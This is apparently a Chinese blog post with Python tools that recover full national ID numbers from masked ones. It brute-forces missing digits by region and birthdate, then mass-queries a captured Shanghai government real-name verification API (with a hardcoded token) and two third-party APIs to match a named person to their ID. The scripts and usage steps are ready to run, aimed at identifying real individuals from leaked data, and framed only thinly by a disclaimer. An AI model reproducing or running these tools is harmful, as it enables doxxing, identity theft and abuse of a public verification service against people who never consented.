本文声明

此文仅用于技术科普,教育与研究用途,请勿用于商业甚至非法用途,否则一切后果自负。若用户利用此文章而受到惩处,本人及本平台对其行为概不负责,亦不承担任何连带责任。

免责声明

相关阅读

身份证校验码筛选正确的身份证-FancyPig's blog
实名二要素介绍及一次简单的实践 附PHP源码-FancyPig's blog

前言

社区里面有热心网友分享了相关内容,但写的并不是特别完整,这篇文章,就是在这上面的基础上刑上加刑!
身份证校验码筛选正确的身份证-FancyPig's blog

实战分享

身份证号是的编排是有一定规律可循的。除了最后1位是校验位外,其余各位与出生地出生日期性别出生编号息息相关,因此即使是经脱敏处理的身份证号,仍能通过程序分析的方式过滤出可能的身份证序列组合。 具体参考
身份证校验码筛选正确的身份证-FancyPig's blog
那么,我们是不是可以写一个支持对身份证后4、6位及身份证内生日的爆破的脱敏身份证恢复工具呢? 以下脚本根据GitHub项目中的脚本修改:

sfzBruter.py

原版(仅供参考,实战中不用):
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Time    : 2021-05-08
# @Author  : aplyc1a
# @FileName: info-sfz.py
import time

def brute_8(s):
    sfz=[]
    birthh=[]
    for i in range(int(time.mktime(time.strptime(s[6:10]+'0101','%Y%m%d'))),int(time.mktime(time.strptime(s[6:10]+'1231','%Y%m%d')))+1,3600*24):
        brute_4(s.replace('****',time.strftime('%Y%m%d',time.localtime(i))[4:],1))

def brute_6(s):
    sfz=[]
    birthh=[]
    for i in range(int(time.mktime(time.strptime(s[6:10]+'0101','%Y%m%d'))),int(time.mktime(time.strptime(s[6:10]+'1231','%Y%m%d')))+1,3600*24):
        if s[10:12] == time.strftime('%Y%m%d',time.localtime(i))[4:6]:
            brute_4(s.replace('**',time.strftime('%Y%m%d',time.localtime(i))[6:8],1))


def brute_4(s):
    for i in num:
        sfz=s.replace('***',i,1)
        summ=0
        for j in range(len(weight)):
            summ+=weight[j]*int(sfz[j])
        check=summ%11
        a=sfz.replace('*',checker[check],-1)
        print(a)

def brute_m4(s):
    birthh=[]
    for i in range(int(time.mktime(time.strptime(s[6:10]+'0101','%Y%m%d'))),int(time.mktime(time.strptime(s[6:10]+'1231','%Y%m%d')))+1,3600*24):
        sfz=s.replace('****',time.strftime('%Y%m%d',time.localtime(i))[4:])
        summ=0
        for i in range(len(weight)):
            summ+=weight[i]*int(sfz[i])
        check=summ%11
        if checker[check]==sfz[-1]:
            print(sfz)

if __name__=='__main__':
    s="5132211949****5126"
    weight=[7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
    checker=['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']
    num=[str(i).zfill(3) for i in range(1,1000)]
    
    #s="51322119491001****"
    if s.index('*')==14:
        brute_4(s)

    #s="513221194910******"
    if s.index('*')==12:
        brute_6(s)

    if s.index('*')==10:
        #s="5132211949********"
        if s.count('*')==8:
            brute_8(s)
        #s="5132211949****5126"
        if s.count('*')==4:
            brute_m4(s)
修改版:

本文付费阅读内容 – 汉堡会员免费
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Time    : 2022-11-26
# @Author  : aplyc1a
# @Editer  : Sh1zuku
# @Editer  : Xiaonuo
# @FileName: info-sfz.py
import time

def brute_8(s):
    sfz=[]
    birthh=[]
    for i in range(int(time.mktime(time.strptime(s[6:10]+'0101','%Y%m%d'))),int(time.mktime(time.strptime(s[6:10]+'1231','%Y%m%d')))+1,3600*24):
        brute_4(s.replace('****',time.strftime('%Y%m%d',time.localtime(i))[4:],1))

def brute_6(s):
    sfz=[]
    birthh=[]
    for i in range(int(time.mktime(time.strptime(s[6:10]+'0101','%Y%m%d'))),int(time.mktime(time.strptime(s[6:10]+'1231','%Y%m%d')))+1,3600*24):
        if s[10:12] == time.strftime('%Y%m%d',time.localtime(i))[4:6]:
            brute_4(s.replace('**',time.strftime('%Y%m%d',time.localtime(i))[6:8],1))


def brute_4(s):
    for i in num:
        sfz=s.replace('***',i,1)
        summ=0
        for j in range(len(weight)):
            summ+=weight[j]*int(sfz[j])
        check=summ%11
        a=sfz.replace('*',checker[check],-1)
        f = open('sfz.txt','a+')
        f.write(a+"\n")
        f.close()

def brute_m4(s):
    birthh=[]
    for i in range(int(time.mktime(time.strptime(s[6:10]+'0101','%Y%m%d'))),int(time.mktime(time.strptime(s[6:10]+'1231','%Y%m%d')))+1,3600*24):
        sfz=s.replace('****',time.strftime('%Y%m%d',time.localtime(i))[4:])
        summ=0
        for i in range(len(weight)):
            summ+=weight[i]*int(sfz[i])
        check=summ%11
        if checker[check]==sfz[-1]:
            f = open('sfz.txt', 'sfz+')
            f.write(sfz + "\n")
            f.close()

if __name__=='__main__':
    a_1 = 230101 #区号开始 230101哈尔滨市辖区
    a_2 = 230130 #区号结束+1 230129+1延寿县
    s="19820606****" #举例:身份证号缺后四位
    while a_1 < a_2:
        s1 = str(a_1) + s
        weight=[7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
        checker=['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']
        num=[str(i).zfill(3) for i in range(1,1000)]
        # s="51322119491001****"
        if s1.index('*') == 14:
            brute_4(s1)

        # s="513221194910******"
        if s1.index('*') == 12:
            brute_6(s1)

        if s1.index('*') == 10:
            # s="5132211949********"
            if s1.count('*') == 8:
                brute_8(s1)
            # s="5132211949****5126"
            if s1.count('*') == 4:
                brute_m4(s1)
        a_1 = a_1 + 1
此脚本为本人,与热心网友Sh1zuku共同修改,当然只是改动了一点点,加上了根据区号来枚举爆破并写入txt文本的功能

以下需要自行修改: 第五十行是枚举区号开始的第一个区号 第五十一行枚举区号结束最后一个区号+1 第五十二行是你所知的生日加顺序码和校验码,最多支持八位未知 然后开始爆破,比如你所知一个人的生日是1982年6月26日,区号是430424(这里是方便枚举,身份证是网上泄露的) 所以五十、五十一、五十二行修改后:
a_1 = 430424 #区号开始 
a_2 = 430425 #区号结束+1 
s="19820626****" #举例:身份证号缺后四位
开始爆破吧! e6f47df987101328 桌面上会多一个sfz.txt,这就是字典了 然后就是我们的实名二要素验证了嘿嘿嘿……

本文付费阅读内容 – 汉堡会员免费

idcard.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os,sys,requests

def main():
    url = "https://suishenmafront1.sh.gov.cn/smzy/yqfkewm/relative/idcard-auth"
    headers = {
        "User-Agent":"Mozilla/5.0 (Linux; Android 12; M2012K11AC Build/SKQ1.211006.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/4343 MMWEBSDK/20221011 Mobile Safari/537.36 MMWEBID/4555 MicroMessenger/8.0.30.2260(0x28001E3B) WeChat/arm64 Weixin NetType/5G Language/zh_CN ABI/arm64 miniProgram/wxc5059c3803665d9c",
        "Accept": "application/json, text/plain, */*",
        "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
        "X-Requested-With": "com.tencent.mm"
    }
    
    f = open("sfz.txt", "r")
    lines = f.readlines()
    for line in lines:
        line = line.strip()
        data = {
        "name": "XXX",
        "id_card": line,
        "mw": "tChGO5otqa6EEnpLpO5bfyXgLMtLQFynXhpsSS3ZDPWi29wZbe0TuOhDMUwl3QSP6YEJKJShiBUn820KajqFDahFOCyQnr 3YRqdWy 2Pw9PzvCa GP2nm7KWFSzrrlFr/LzA2sPTCPPoRK/UvENLQ=="
        }
    
        try:
            r = requests.post(url,headers=headers,json=data).json()
            if(r['code'] == 200):
                fok = open("ok.txt",'a+')
                fok.write(line)
                fok.close
            print(line + "|" + str(r['code']))
        except Exception as e:
            fe = open("error.txt",'a+')
            fe.write(line)
            fe.close

if __name__ == "__main__":
    main()
这个API是上海随申办身份证二要素抓包抓出来的,这是抓包视频:
 
注意:第十九行改成你要验证的名字 然后开始暴力枚举吧! 4884ac42cb101412 这个跑的时间很长,需要等等,跑完之后就会有error.txt和ok.txt,一个是失败样例一个是成功样例,这就出来了 时间过长不必展示 之后,我们就得出这个人的姓名和配对的身份证了 这边还写了个小工具:

idcard_1.py

import os,sys,requests

def suishenma(name, idcard):
    url = "https://suishenmafront1.sh.gov.cn/smzy/yqfkewm/relative/idcard-auth"
    headers = {
        "User-Agent":"Mozilla/5.0 (Linux; Android 12; M2012K11AC Build/SKQ1.211006.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/4343 MMWEBSDK/20221011 Mobile Safari/537.36 MMWEBID/4555 MicroMessenger/8.0.30.2260(0x28001E3B) WeChat/arm64 Weixin NetType/5G Language/zh_CN ABI/arm64 miniProgram/wxc5059c3803665d9c",
        "Accept": "application/json, text/plain, */*",
        "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
        "X-Requested-With": "com.tencent.mm"
    }
    
    
    data = {
        "name": name,
        "id_card": str(idcard),
        "mw": "tChGO5otqa6EEnpLpO5bfyXgLMtLQFynXhpsSS3ZDPWi29wZbe0TuOhDMUwl3QSP6YEJKJShiBUn820KajqFDahFOCyQnr 3YRqdWy 2Pw9PzvCa GP2nm7KWFSzrrlFr/LzA2sPTCPPoRK/UvENLQ=="
    }
    
    try:
        r = requests.post(url,headers=headers,json=data)
    
        rescode = r.json()["code"]
        if (rescode == 200):
            status = "校验正确"
        else:
            status = r.json()["message"]
        print("上海随申码: " + status)
    except Exception as e:
        pass
    
def guyunge(name, idcard):
    url = "https://api.guyunge.top/API/er.php"
    headers = {
        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36",
    }
    
    
    data = {
        "name": name,
        "card": str(idcard),
        "type": "json"
    }
    
    try:
        r = requests.post(url,headers=headers,data=data)
    
        rescode = r.json()["code"]
        if (rescode == 1):
            status = "校验正确"
        else:
            status = r.json()["text"]
        print("孤云阁API: " + status)
    except Exception as e:
        pass
    
def tingfengke(name, idcard):
    url = "http://tc.tfkapi.top/API/eysjy.php"
    headers = {
        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36",
    }
    
    
    data = {
        "name": name,
        "num": str(idcard),
    }
    
    try:
        r = requests.get(url,headers=headers,params=data).text
    
        if (r == "校验成功-TFK"):
            status = "校验正确"
        else:
            status = r
        print("听风客API: " + status)
    except Exception as e:
        pass
    
if __name__ == "__main__":
    suishenma(sys.argv[1], sys.argv[2])
    guyunge(sys.argv[1], sys.argv[2])
    tingfengke(sys.argv[1], sys.argv[2])
这个脚本用了听风客API,孤云阁API和抓包出来的上海随申办实名二要素API,是这样用的: dc694abf35101507 上面两个工具的编写者都是由热心网友Sh1zuku和我合作编写

最后的提醒

不过,这种接口也很容易被小人利用了!本篇文章仅作为技术科普,重点讲述技术原理。 希望大家以钻研技术为目的,接口也请合理使用,建议不要输入自己的(任何网站都有日志,你的输入都可能被记录) 同时,我们也希望大家不打扰、不侵犯他人隐私,借本篇文章,我们在发现这样的情况时,也希望大家保护好自己的隐私!
© 版权声明
THE END
喜欢就支持一下吧
点赞12 分享
评论 共1条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片